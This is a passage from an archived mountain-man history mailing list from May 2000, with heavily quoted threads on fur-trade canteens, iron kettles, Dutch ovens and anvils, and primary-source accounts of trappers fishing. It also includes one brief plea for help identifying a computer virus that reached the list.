earlier list members) that carrying water was just not that important
to these fellows, who probably stayed very close to what was an
abundant supply of (then) very clean water.  It is our modern outdoor
experiences and training and logic which dictates that we carry some
device for containing drinking water.  Given we make this choice,
the next question is what shall this device be to remain as correct
as possible, and I suggest that gourds and bottles would be a lesser
choice
due to their fragility.  One would then default to either the military
copper canteen or a hooped wooden canteen (am I correct to assume
this is the "iron bound canteen" in the ledger??).  Or is their another
option not considered?  Skins or bladders are certainly viable but do
not
really meet the "durability" test.  Your thoughts?

Tom


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From: Concho Smith <[e-mail]>
Subject: Re: [Dutch ovens again was Re: MtMan-List: Date: Fri, 26 May 2000 ]
Date: 30 May 2000 17:55:31 EDT

[e-mail] wrote:
Washtahay-
At 01:03 PM 5/27/00 -0500, someone wrote:
    (Several times I thought I was on to something when I found mention of "=
iron
kettles" in the lists, but in every case the weight indicates they could =
not
have been cast iron.  At this point, it seems to me they were called "iro=
n
kettles" to distinguish them from "tin kettles", i.e., sheet iron kettles=
 that
had been dipped in tin to prevent rust.)
  =

LongWalker
----------------------

LongWalker,

I've seen what your referring to - very thin kettles, light in weight and=

tinned from what is left of it, in fact there where several at the Museum=
 of
the Fur Trade, Denver Historical Society had one in one of their books an=
d
Buck Conner has one or two that he purchased from Hanson years ago.

Have heard them referred to as "iron kettles" as you have stated, a term =
that
was used but not what we think of it as.

Concho.



____________________________________________________________________
Get your own FREE, personal Netscape WebMail account today at http://webm=
ail.netscape.com.

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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: canteesn
Date: 30 May 2000 17:05:32 -0500

    I have heard and read about various skins and bladders being used as
canteens. May have been but I cannot imagine that they were very hygienic.
In fact, they may have been as deadly as going without water.  E-coli is not
a modern invention.
Frank


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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 16:41:01 -0600

Jerry,
Just came back from Cache Valley Rendezvous (Park and Drop) it was held up
Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it called
Black Smiths Fork?
120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
Ole # 718
----------
>From: Jerry & Barbara Zaslow <[e-mail]>
>To: [e-mail]
>Subject: Re: MtMan-List: The Great Dutch Oven Debate
>Date: Sat, May 27, 2000, 10:23 PM
>

>Well looks like you guys want to get into the Dutch Oven authenticity stuff
>again.  Maybe you should think about logic also.
>
>I've said this before (and let me make it clear that this is ONLY my
>opinion) but what would an average mountaineer have carried?  A Dutch Oven,
>a brazier or any other kind of heavy shit like that?  Well if I were there
>back then, that would be the last thing I would carry with me.  Sure some of
>it was out there and available during the time period, but so was a
>submarine, hot air balloon and a bunch of other stuff that would not be
>appropriate in the mountains.
>
>My view is, just because you can document something only proves it was
>there, not that it was common.  I can document a lot of stuff that William
>Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone wants
>to have something at Rendezvous that he brought, which was uncommon, it
>would be OK?  Only if you think it would be OK for half the people at
>Rendezvous to portray Stewart.
>
>I cook with stuff as simple as possible.  That means with sticks over the
>fire, a small tin boiler and maybe a small folding steel frying pan.  I also
>bring as little as possible.  I've learned that less is more and my horse
>agrees.
>
>Just my 2 cents.
>
>Best Regards,
>
>Jerry (Meriwether) Zaslow #1488
>________________________________________________________________________________
>
>
>>No Sir,
>>
>>The facts have already been established once and for all by the Fort Union
>>Trading Post.  Cast iron artifacts of both types were present in the
>>mountain man period.
>>Walt
>>Park City, Montana
>>
>>
>>
>>> You guys aren't really serious about starting round
>>> two of the dutch oven debacle, are you???
>>>
>>> Tom
>>
>>
>>
>>----------------------
>>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: [e-mail]
Subject: MtMan-List: Mountain Men fishing?
Date: 30 May 2000 19:54:30 EDT

Does anyone recall any primary source references to fur trade-era
mountain men fishing (either angling, suing fish traps or seines, etc.?)

John R. Sweet

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 17:14:31 -0700

Ole,

Mind if I wonder a bit about the thought process here a little? <G> I
presume that you are suggesting the idea that the anvil was made into cast
iron pots?

From what little I know about cast iron foundry work, it is a very
specialized process that requires not only special equipment in the form of
a smelter but also just the right fuels to get the metal to melt and pour,
etc. not to mention the special sands and molds that would be required.

I would respectfully submit that such would not have been even remotely
possible anywhere west of the Great River during that time. Only supposition
on my part but I think that is correct. I remain.....

YMOS
Capt. Lahti'
----- Original Message -----
Sent: Tuesday, May 30, 2000 3:41 PM


> Jerry,
> Just came back from Cache Valley Rendezvous (Park and Drop) it was held up
> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
called
> Black Smiths Fork?
> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
> Ole # 718
> ----------
> >From: Jerry & Barbara Zaslow <[e-mail]>
> >To: [e-mail]
> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
> >Date: Sat, May 27, 2000, 10:23 PM
> >
>
> >Well looks like you guys want to get into the Dutch Oven authenticity
stuff
> >again.  Maybe you should think about logic also.
> >
> >I've said this before (and let me make it clear that this is ONLY my
> >opinion) but what would an average mountaineer have carried?  A Dutch
Oven,
> >a brazier or any other kind of heavy shit like that?  Well if I were
there
> >back then, that would be the last thing I would carry with me.  Sure some
of
> >it was out there and available during the time period, but so was a
> >submarine, hot air balloon and a bunch of other stuff that would not be
> >appropriate in the mountains.
> >
> >My view is, just because you can document something only proves it was
> >there, not that it was common.  I can document a lot of stuff that
William
> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
wants
> >to have something at Rendezvous that he brought, which was uncommon, it
> >would be OK?  Only if you think it would be OK for half the people at
> >Rendezvous to portray Stewart.
> >
> >I cook with stuff as simple as possible.  That means with sticks over the
> >fire, a small tin boiler and maybe a small folding steel frying pan.  I
also
> >bring as little as possible.  I've learned that less is more and my horse
> >agrees.
> >
> >Just my 2 cents.
> >
> >Best Regards,
> >
> >Jerry (Meriwether) Zaslow #1488
>
>___________________________________________________________________________
_____
> >
> >
> >>No Sir,
> >>
> >>The facts have already been established once and for all by the Fort
Union
> >>Trading Post.  Cast iron artifacts of both types were present in the
> >>mountain man period.
> >>Walt
> >>Park City, Montana
> >>
> >>
> >>
> >>> You guys aren't really serious about starting round
> >>> two of the dutch oven debacle, are you???
> >>>
> >>> Tom
> >>
> >>
> >>
> >>----------------------
> >>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >>
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Mountain Men fishing?
Date: 30 May 2000 17:20:41 -0700

John,

The only one I can give right off the top is a reference in Washington
Irving's "Astoria" where it is mentioned that members of the Wilson Price
Hunt expedition were seen fishing along the Snake R. (I think that is where
they were) trying to come up with some fish to stave off starving times.
They were a scattered group at that point and were ranging along the Snake
down in what is now southern Idaho. I believe it was done and mentioned in
the L&C Journals too.

There are innumerable other accounts and of course fish hooks and line were
often found in bills of lading listing goods going west during the MM times
though I don't have them at hand. Perhaps others will provide more
information. I remain....


YMOS
Capt. Lahti'

----- Original Message -----
Sent: Tuesday, May 30, 2000 4:54 PM


> Does anyone recall any primary source references to fur trade-era
> mountain men fishing (either angling, suing fish traps or seines, etc.?)
>
> John R. Sweet
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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-------------------------------------------------------------------------------

From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Canteens
Date: 30 May 2000 17:41:06 -0700

Pat,
    Please contact me off-list with your address.  I need to know if you're
going to the Western Nationals.
    Larry Huber
    [e-mail]
----- Original Message -----
Sent: Tuesday, May 30, 2000 10:59 AM


>    According to my reading and understanding of the times, the original
> mountain men disdained the use of canteens, which was noted with some
> surprise by several of the journal writers. Presumably with the freedom to
> roam open country they counted on finding water for the night's camp, as
> would be necessary for the horses as well as the men. Sometimes, finding a
> suitable spot was delayed, which occasioned considerable thirst and
griping.
> Most travelling was done in fairly well-watered areas, where there would
> also be game, and of course they sought beaver country. Only upon making a
> desert crossing would they resort to making up water skins or the like
which
> are also noted as exceptional activities. I'm sorry I can't cite specific
> sources from memory but I think these facts are well known.
>    In these times of course we do not have the freedom to camp anywhere or
> choose the best spots, hence a need for augmenting water supplies.
American
> soldiers were said to prefer the wooden hooped canteens despite their bulk
> because the water stayed cooler then in a metal canteen. Wax-lined gourd
> canteens are nice, although somewhat delicate. If the wax cracks due to
> rough handling the gourd begins to deteriorate which may even create an
> unwholesome condition. I have settled on a tin-lined rev-war style copper
> canteen which holds about 2 quarts and keeps the water a little cooler
since
> I wrapped it in blanketing. I've never had a problem with off-taste,
> although I use a given batch of water within a day or so.
> Yr Ob't S'vt
> Pat Quilter
>
> -----Original Message-----
> From: tom roberts [mailto:[e-mail]]
> Sent: Monday, May 29, 2000 10:45 AM
> To: [e-mail]
> Subject: MtMan-List: Canteens
>
>
> In between projects I've wandered through the archives and
> came across a topic of interest.  I thought I would raise this
> again to see if there's any new thinking.  In the "Invoice of Sundry
> Merchandise from the Rocky Mountain Outfit 1836 under charge
> of Fontenelle, Fitzpatrick, & Co." there is a listing for (9) India
> Rubber Canteens and (28) iron bound canteens.  There's not
> much other reference, which causes me to speculate (as did
> earlier list members) that carrying water was just not that important
> to these fellows, who probably stayed very close to what was an
> abundant supply of (then) very clean water.  It is our modern outdoor
> experiences and training and logic which dictates that we carry some
> device for containing drinking water.  Given we make this choice,
> the next question is what shall this device be to remain as correct
> as possible, and I suggest that gourds and bottles would be a lesser
> choice
> due to their fragility.  One would then default to either the military
> copper canteen or a hooped wooden canteen (am I correct to assume
> this is the "iron bound canteen" in the ledger??).  Or is their another
> option not considered?  Skins or bladders are certainly viable but do
> not
> really meet the "durability" test.  Your thoughts?
>
> Tom
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

----------------------
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-------------------------------------------------------------------------------

From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 18:52:22 -0600

Capt"
Not Even!
Just making a statement as to what they would and could have hauled in on
horse back or by cart.
An anvil would weigh from 60 to 150 pounds and there are journals that
memtion them being hauled into the mountain's. On that note they could have
hauled 20 pots made of cast iron to equal one 120 pound anvil. It's amazing
to me what they hauled in.
If I were traping and trading for beaver I would haul in all sorts of goods
for trade including cast iron.
Ole # 718
----------
>From: "Roger Lahti" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>Date: Tue, May 30, 2000, 6:14 PM
>

>Ole,
>
>Mind if I wonder a bit about the thought process here a little? <G> I
>presume that you are suggesting the idea that the anvil was made into cast
>iron pots?
>
>>From what little I know about cast iron foundry work, it is a very
>specialized process that requires not only special equipment in the form of
>a smelter but also just the right fuels to get the metal to melt and pour,
>etc. not to mention the special sands and molds that would be required.
>
>I would respectfully submit that such would not have been even remotely
>possible anywhere west of the Great River during that time. Only supposition
>on my part but I think that is correct. I remain.....
>
>YMOS
>Capt. Lahti'
>----- Original Message -----
>From: "Ole B. Jensen" <[e-mail]>
>To: <[e-mail]>
>Sent: Tuesday, May 30, 2000 3:41 PM
>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>
>
>> Jerry,
>> Just came back from Cache Valley Rendezvous (Park and Drop) it was held up
>> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
>called
>> Black Smiths Fork?
>> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
>> Ole # 718
>> ----------
>> >From: Jerry & Barbara Zaslow <[e-mail]>
>> >To: [e-mail]
>> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
>> >Date: Sat, May 27, 2000, 10:23 PM
>> >
>>
>> >Well looks like you guys want to get into the Dutch Oven authenticity
>stuff
>> >again.  Maybe you should think about logic also.
>> >
>> >I've said this before (and let me make it clear that this is ONLY my
>> >opinion) but what would an average mountaineer have carried?  A Dutch
>Oven,
>> >a brazier or any other kind of heavy shit like that?  Well if I were
>there
>> >back then, that would be the last thing I would carry with me.  Sure some
>of
>> >it was out there and available during the time period, but so was a
>> >submarine, hot air balloon and a bunch of other stuff that would not be
>> >appropriate in the mountains.
>> >
>> >My view is, just because you can document something only proves it was
>> >there, not that it was common.  I can document a lot of stuff that
>William
>> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
>wants
>> >to have something at Rendezvous that he brought, which was uncommon, it
>> >would be OK?  Only if you think it would be OK for half the people at
>> >Rendezvous to portray Stewart.
>> >
>> >I cook with stuff as simple as possible.  That means with sticks over the
>> >fire, a small tin boiler and maybe a small folding steel frying pan.  I
>also
>> >bring as little as possible.  I've learned that less is more and my horse
>> >agrees.
>> >
>> >Just my 2 cents.
>> >
>> >Best Regards,
>> >
>> >Jerry (Meriwether) Zaslow #1488
>>
>>___________________________________________________________________________
>_____
>> >
>> >
>> >>No Sir,
>> >>
>> >>The facts have already been established once and for all by the Fort
>Union
>> >>Trading Post.  Cast iron artifacts of both types were present in the
>> >>mountain man period.
>> >>Walt
>> >>Park City, Montana
>> >>
>> >>
>> >>
>> >>> You guys aren't really serious about starting round
>> >>> two of the dutch oven debacle, are you???
>> >>>
>> >>> Tom
>> >>
>> >>
>> >>
>> >>----------------------
>> >>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>> >>
>> >
>> >
>> >----------------------
>> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>> >
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

----------------------
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-------------------------------------------------------------------------------

From: "Terry R. Koenig" <[e-mail]>
Subject: MtMan-List: Mountain Men Fishing
Date: 30 May 2000 19:20:22 -0600

John:

Wyeth had a covered fishing rod (whatever that is). See "The Correspondence
and Journals of Capt. Nathaniel J. Wyeth 1831 -36" (p 168) ed. by F. G.
Young, Arno Press, NY 1973.

Traveling with Wyeth in 1834 was the naturalist John Kirk Townsend. In the
book "Across the Rockies to the Columbia" by John K. Townsend, Univ. of Neb.
Press, 1987, p. 99, noted:

"the stream contains an abundance of excellent trout. Some of these are
enormous, and very fine eating. They bite eagerly at a grasshopper or
minnow, but the largest fish are shy, and the sportsman requires to be
carefully concealed in order to take them. We have here none of the fine
tackle, jointed rods, reels, and silkworm gut of the accomplished city
sportsman; we have only a piece of common cord, and a hook seized on with
half-hitches, with a willow rod cut on the banks of the stream; but with
this rough equipment we take as many trout as we wish, and who could do
more, even with all the curious contrivances of old Izaac Walton or
Christopher North?"

From the diary of Wm. Ashley, May 27, 1825 - "during he last two days we
have lived on fish we caught with hooks & lines  we find them of an
excellent kind of a different Speeces to any that I ever before have seen
similar in appearance to our pike. They have but few scales or bones, those
of which we caught were from one to two feet long the[y] appared quite a
curiosity to the Indians - I shewed them how they were caught & gave Each
one a hook & line with which they were much pleased. "The West of William H.
Ashley 1822 - 1838" ed. by Dale L. Morgan, Old West Publishing Co., 1964, p.
114.

Terry R. Koenig


----------------------
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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 19:02:48 -0700

Ole,

OK pard, got ya! Way it was worded I was thinking otherwise. I see the logic
in your response below and don't have much trouble seeing that sort of thing
being done either. Now back to our regularly scheduled program. <G> I
remain.....

YMOS
Capt. Lahti'
----- Original Message -----
Sent: Tuesday, May 30, 2000 5:52 PM


> Capt"
> Not Even!
> Just making a statement as to what they would and could have hauled in on
> horse back or by cart.
> An anvil would weigh from 60 to 150 pounds and there are journals that
> memtion them being hauled into the mountain's. On that note they could
have
> hauled 20 pots made of cast iron to equal one 120 pound anvil. It's
amazing
> to me what they hauled in.
> If I were traping and trading for beaver I would haul in all sorts of
goods
> for trade including cast iron.
> Ole # 718
> ----------
> >From: "Roger Lahti" <[e-mail]>
> >To: <[e-mail]>
> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >Date: Tue, May 30, 2000, 6:14 PM
> >
>
> >Ole,
> >
> >Mind if I wonder a bit about the thought process here a little? <G> I
> >presume that you are suggesting the idea that the anvil was made into
cast
> >iron pots?
> >
> >>From what little I know about cast iron foundry work, it is a very
> >specialized process that requires not only special equipment in the form
of
> >a smelter but also just the right fuels to get the metal to melt and
pour,
> >etc. not to mention the special sands and molds that would be required.
> >
> >I would respectfully submit that such would not have been even remotely
> >possible anywhere west of the Great River during that time. Only
supposition
> >on my part but I think that is correct. I remain.....
> >
> >YMOS
> >Capt. Lahti'
> >----- Original Message -----
> >From: "Ole B. Jensen" <[e-mail]>
> >To: <[e-mail]>
> >Sent: Tuesday, May 30, 2000 3:41 PM
> >Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
> >
> >
> >> Jerry,
> >> Just came back from Cache Valley Rendezvous (Park and Drop) it was held
up
> >> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
> >called
> >> Black Smiths Fork?
> >> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
> >> Ole # 718
> >> ----------
> >> >From: Jerry & Barbara Zaslow <[e-mail]>
> >> >To: [e-mail]
> >> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
> >> >Date: Sat, May 27, 2000, 10:23 PM
> >> >
> >>
> >> >Well looks like you guys want to get into the Dutch Oven authenticity
> >stuff
> >> >again.  Maybe you should think about logic also.
> >> >
> >> >I've said this before (and let me make it clear that this is ONLY my
> >> >opinion) but what would an average mountaineer have carried?  A Dutch
> >Oven,
> >> >a brazier or any other kind of heavy shit like that?  Well if I were
> >there
> >> >back then, that would be the last thing I would carry with me.  Sure
some
> >of
> >> >it was out there and available during the time period, but so was a
> >> >submarine, hot air balloon and a bunch of other stuff that would not
be
> >> >appropriate in the mountains.
> >> >
> >> >My view is, just because you can document something only proves it was
> >> >there, not that it was common.  I can document a lot of stuff that
> >William
> >> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
> >wants
> >> >to have something at Rendezvous that he brought, which was uncommon,
it
> >> >would be OK?  Only if you think it would be OK for half the people at
> >> >Rendezvous to portray Stewart.
> >> >
> >> >I cook with stuff as simple as possible.  That means with sticks over
the
> >> >fire, a small tin boiler and maybe a small folding steel frying pan.
I
> >also
> >> >bring as little as possible.  I've learned that less is more and my ho
rse
> >> >agrees.
> >> >
> >> >Just my 2 cents.
> >> >
> >> >Best Regards,
> >> >
> >> >Jerry (Meriwether) Zaslow #1488
> >>
>
>>__________________________________________________________________________
_
> >_____
> >> >
> >> >
> >> >>No Sir,
> >> >>
> >> >>The facts have already been established once and for all by the Fort
> >Union
> >> >>Trading Post.  Cast iron artifacts of both types were present in the
> >> >>mountain man period.
> >> >>Walt
> >> >>Park City, Montana
> >> >>
> >> >>
> >> >>
> >> >>> You guys aren't really serious about starting round
> >> >>> two of the dutch oven debacle, are you???
> >> >>>
> >> >>> Tom
> >> >>
> >> >>
> >> >>
> >> >>----------------------
> >> >>hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >> >>
> >> >
> >> >
> >> >----------------------
> >> >hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >> >
> >>
> >> ----------------------
> >> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >>
> >
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Mountain Men fishing?
Date: 30 May 2000 20:27:24 -0600

For one, in 1843, when W>D> Stewart took all his sporting buddies and a
newspaper man along on a hunting trip to the Wind Rivers, they had fishing
tackle with them and caught fish for supper from Fremont Lake using bait,
not flies. A little out of the period, but it was nothing new.
-----Original Message-----


>Does anyone recall any primary source references to fur trade-era
>mountain men fishing (either angling, suing fish traps or seines, etc.?)
>
>John R. Sweet
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 20:29:37 -0600

Ole, I believe Blacksmith Fork got it's name well after the fur trade
period. Of course, there was a rendezvous during the trade just to the north
of the canyon mouth by what the pioneers called White Rock.
Bill C
-----Original Message-----


>Capt"
>Not Even!
>Just making a statement as to what they would and could have hauled in on
>horse back or by cart.
>An anvil would weigh from 60 to 150 pounds and there are journals that
>memtion them being hauled into the mountain's. On that note they could have
>hauled 20 pots made of cast iron to equal one 120 pound anvil. It's amazing
>to me what they hauled in.
>If I were traping and trading for beaver I would haul in all sorts of goods
>for trade including cast iron.
>Ole # 718
>----------
>>From: "Roger Lahti" <[e-mail]>
>>To: <[e-mail]>
>>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>>Date: Tue, May 30, 2000, 6:14 PM
>>
>
>>Ole,
>>
>>Mind if I wonder a bit about the thought process here a little? <G> I
>>presume that you are suggesting the idea that the anvil was made into cast
>>iron pots?
>>
>>>From what little I know about cast iron foundry work, it is a very
>>specialized process that requires not only special equipment in the form
of
>>a smelter but also just the right fuels to get the metal to melt and pour,
>>etc. not to mention the special sands and molds that would be required.
>>
>>I would respectfully submit that such would not have been even remotely
>>possible anywhere west of the Great River during that time. Only
supposition
>>on my part but I think that is correct. I remain.....
>>
>>YMOS
>>Capt. Lahti'
>>----- Original Message -----
>>From: "Ole B. Jensen" <[e-mail]>
>>To: <[e-mail]>
>>Sent: Tuesday, May 30, 2000 3:41 PM
>>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>>
>>
>>> Jerry,
>>> Just came back from Cache Valley Rendezvous (Park and Drop) it was held
up
>>> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
>>called
>>> Black Smiths Fork?
>>> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
>>> Ole # 718
>>> ----------
>>> >From: Jerry & Barbara Zaslow <[e-mail]>
>>> >To: [e-mail]
>>> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
>>> >Date: Sat, May 27, 2000, 10:23 PM
>>> >
>>>
>>> >Well looks like you guys want to get into the Dutch Oven authenticity
>>stuff
>>> >again.  Maybe you should think about logic also.
>>> >
>>> >I've said this before (and let me make it clear that this is ONLY my
>>> >opinion) but what would an average mountaineer have carried?  A Dutch
>>Oven,
>>> >a brazier or any other kind of heavy shit like that?  Well if I were
>>there
>>> >back then, that would be the last thing I would carry with me.  Sure
some
>>of
>>> >it was out there and available during the time period, but so was a
>>> >submarine, hot air balloon and a bunch of other stuff that would not be
>>> >appropriate in the mountains.
>>> >
>>> >My view is, just because you can document something only proves it was
>>> >there, not that it was common.  I can document a lot of stuff that
>>William
>>> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
>>wants
>>> >to have something at Rendezvous that he brought, which was uncommon, it
>>> >would be OK?  Only if you think it would be OK for half the people at
>>> >Rendezvous to portray Stewart.
>>> >
>>> >I cook with stuff as simple as possible.  That means with sticks over
the
>>> >fire, a small tin boiler and maybe a small folding steel frying pan.  I
>>also
>>> >bring as little as possible.  I've learned that less is more and my
horse
>>> >agrees.
>>> >
>>> >Just my 2 cents.
>>> >
>>> >Best Regards,
>>> >
>>> >Jerry (Meriwether) Zaslow #1488
>>>
>>>_________________________________________________________________________
__
>>_____
>>> >
>>> >
>>> >>No Sir,
>>> >>
>>> >>The facts have already been established once and for all by the Fort
>>Union
>>> >>Trading Post.  Cast iron artifacts of both types were present in the
>>> >>mountain man period.
>>> >>Walt
>>> >>Park City, Montana
>>> >>
>>> >>
>>> >>
>>> >>> You guys aren't really serious about starting round
>>> >>> two of the dutch oven debacle, are you???
>>> >>>
>>> >>> Tom
>>> >>
>>> >>
>>> >>
>>> >>----------------------
>>> >>hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
>>> >>
>>> >
>>> >
>>> >----------------------
>>> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>> >
>>>
>>> ----------------------
>>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>>
>>
>>
>>
>>----------------------
>>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: "Marilyn R. NIchols" <[e-mail]>
Subject: MtMan-List: Virus
Date: 30 May 2000 22:28:56 -0400

This is a multi-part message in MIME format.

------=_NextPart_000_00EA_01BFCA86.71446780
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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

If anyone on the list knows the name of the virus that we received last =
night please reply to me as soon as possible.  One of the long time =
members of this list has been affected with the virus and needs the name =
in hopes that his system can be saved.  Thanks.

Marilyn
[e-mail]

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DTahoma size=3D2>If anyone on the list knows the name =
of the virus=20
that we received last night please reply to me as soon as =
possible.  One of=20
the long time members of this list has been affected with the virus and =
needs=20
the name in hopes that his system can be saved.  =
Thanks.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DTahoma size=3D2>Marilyn</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2><A=20
href=3D"mailto:[e-mail]">[e-mail]</A></FONT><=
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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
Date: 30 May 2000 21:44:21 -0700

Bill and Ole,
Keep in mind, you can cook on a stick, but it's hard to mend those rifle
locks and beaver traps without a anvil.
Pendleton
-----Original Message-----


Ole, I believe Blacksmith Fork got it's name well after the fur trade
period. Of course, there was a rendezvous during the trade just to the north
of the canyon mouth by what the pioneers called White Rock.
Bill C
-----Original Message-----


>Capt"
>Not Even!
>Just making a statement as to what they would and could have hauled in on
>horse back or by cart.
>An anvil would weigh from 60 to 150 pounds and there are journals that
>memtion them being hauled into the mountain's. On that note they could have
>hauled 20 pots made of cast iron to equal one 120 pound anvil. It's amazing
>to me what they hauled in.
>If I were traping and trading for beaver I would haul in all sorts of goods
>for trade including cast iron.
>Ole # 718
>----------
>>From: "Roger Lahti" <[e-mail]>
>>To: <[e-mail]>
>>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>>Date: Tue, May 30, 2000, 6:14 PM
>>
>
>>Ole,
>>
>>Mind if I wonder a bit about the thought process here a little? <G> I
>>presume that you are suggesting the idea that the anvil was made into cast
>>iron pots?
>>
>>>From what little I know about cast iron foundry work, it is a very
>>specialized process that requires not only special equipment in the form
of
>>a smelter but also just the right fuels to get the metal to melt and pour,
>>etc. not to mention the special sands and molds that would be required.
>>
>>I would respectfully submit that such would not have been even remotely
>>possible anywhere west of the Great River during that time. Only
supposition
>>on my part but I think that is correct. I remain.....
>>
>>YMOS
>>Capt. Lahti'
>>----- Original Message -----
>>From: "Ole B. Jensen" <[e-mail]>
>>To: <[e-mail]>
>>Sent: Tuesday, May 30, 2000 3:41 PM
>>Subject: Re: MtMan-List: The Great Dutch Oven Debate/Anvil
>>
>>
>>> Jerry,
>>> Just came back from Cache Valley Rendezvous (Park and Drop) it was held
up
>>> Black Smiths Fork south east of Logan Utah (Willow Valley) Why is it
>>called
>>> Black Smiths Fork?
>>> 120 lb Anvil= 20 Cast Iron pots/keatles ? ya think, maybe
>>> Ole # 718
>>> ----------
>>> >From: Jerry & Barbara Zaslow <[e-mail]>
>>> >To: [e-mail]
>>> >Subject: Re: MtMan-List: The Great Dutch Oven Debate
>>> >Date: Sat, May 27, 2000, 10:23 PM
>>> >
>>>
>>> >Well looks like you guys want to get into the Dutch Oven authenticity
>>stuff
>>> >again.  Maybe you should think about logic also.
>>> >
>>> >I've said this before (and let me make it clear that this is ONLY my
>>> >opinion) but what would an average mountaineer have carried?  A Dutch
>>Oven,
>>> >a brazier or any other kind of heavy shit like that?  Well if I were
>>there
>>> >back then, that would be the last thing I would carry with me.  Sure
some
>>of
>>> >it was out there and available during the time period, but so was a
>>> >submarine, hot air balloon and a bunch of other stuff that would not be
>>> >appropriate in the mountains.
>>> >
>>> >My view is, just because you can document something only proves it was
>>> >there, not that it was common.  I can document a lot of stuff that
>>William
>>> >Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
>>wants
>>> >to have something at Rendezvous that he brought, which was uncommon, it
>>> >would be OK?  Only if you think it would be OK for half the people at
>>> >Rendezvous to portray Stewart.
>>> >
>>> >I cook with stuff as simple as possible.  That means with sticks over
the
>>> >fire, a small tin boiler and maybe a small folding steel frying pan.  I
>>also
>>> >bring as little as possible.  I've learned that less is more and my
horse
>>> >agrees.
>>> >
>>> >Just my 2 cents.
>>> >
>>> >Best Regards,
>>> >
>>> >Jerry (Meriwether) Zaslow #1488
>>>
>>>_________________________________________________________________________
__
>>_____
>>> >
>>> >
>>> >>No Sir,
>>> >>
